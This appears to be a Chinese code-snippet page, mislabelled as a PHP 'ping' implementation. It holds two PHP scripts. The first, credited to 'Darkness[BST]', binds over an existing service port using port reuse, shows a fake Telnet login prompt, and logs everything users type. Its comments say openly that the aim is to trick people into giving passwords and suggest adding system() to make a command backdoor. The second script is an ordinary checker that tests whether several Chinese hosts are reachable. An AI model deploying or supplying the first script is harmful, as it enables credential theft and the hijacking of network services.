php实现ping

<?php
if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21rn";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
   echo "socket_create() failed: reason: " . socket_strerror($sock) . "n";
} /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
if (($ret = socket_bind($sock, $host, $port)) < 0) {
   echo "socket_bind() failed: reason: " . socket_strerror($ret) . "n";
}/*绑定端口*/

if (($ret = socket_listen($sock, 5)) < 0) {
   echo "socket_listen() failed: reason: " . socket_strerror($ret) . "n";
}  /*开始监听*/

            
while(true) {
  
   if (($sniffer = socket_accept($sock)) < 0) {
       echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "n";
       break;
   }
if ($port == 23)
{
$txt = "Welcome to the Telnet Serverrn";
$txt .="User:rn";
     socket_write($sniffer, $txt, strlen($txt));
} /*这里是伪装信息，把自己伪装成原来的TELNET服务器，这样来骗取密码*/

   while(true) {
  
         if(($buf =@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false)
    {
    
  break;
            
    }
    
       if (!$buf = trim($buf)) {
           continue;
       }
    

       if ($buf == '!quit') {
           break;
       }
       if ($buf == '!shutdown') {
           socket_close($sniffer);
           break 2;        /*其实这里可以调用system()，搞成一个CMD后门，反正你想怎么改都可以*/
       }
    
       $sniff_data = "$bufrn";
    
    /* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
    echo $sniff_data;
       /*输出字符串*/
   }
   socket_close($sniffer);
    

}
socket_close($resock);
socket_close($sock);
?>

<?php
class getip
{
    var $hosts = array(
    'PayCenter' => 'www.paycenter.com.cn:80',
    'DNS1 IP' => 'ns.xinnetdns.com:53|udp',
    'DNS2 IP' => 'ns.xinnet.cn:53|udp',
    'Oray IP' => 'www.oray.net:80',
    'Sina IP' => 'www.sina.com.cn:80',
    'SOHU IP' => 'www.sohu.com:80',
    );
    var $r = array();
    
    function getip()
    {
        foreach($this->hosts as $k => $v)
        {
            $v=explode(":",$v);
            $ipp = gethostbyname($v[0]);
            $err = $this->sockcheck($ipp,$v[1]);
            $this->r[] = "{$k}：".$ipp.$err."
";
        }
    }
    
    function sockcheck($ipp,$type)
    {
        $type=explode("|",$type);
        if($type[1]!='udp')
        {
            $fp = @fsockopen($ipp, $type[0], $errno, $errstr, 1);
        }
        else
        {
            $fp = @fsockopen("udp://".$ipp, $type[0], $errno, $errstr, 1);
        }
        
        if (!$fp) {
            return " Err($errno)";
        } else {
            fclose($fp);
            return " Pass!";
        }
    }
    
    function output($remote)
    {
        foreach($this->r as $v)
        {
            echo $v;
        }
        echo "Custem IP：".$remote;
    }
}

$ip = new getip();
$ip->output($REMOTE_ADDR);
?>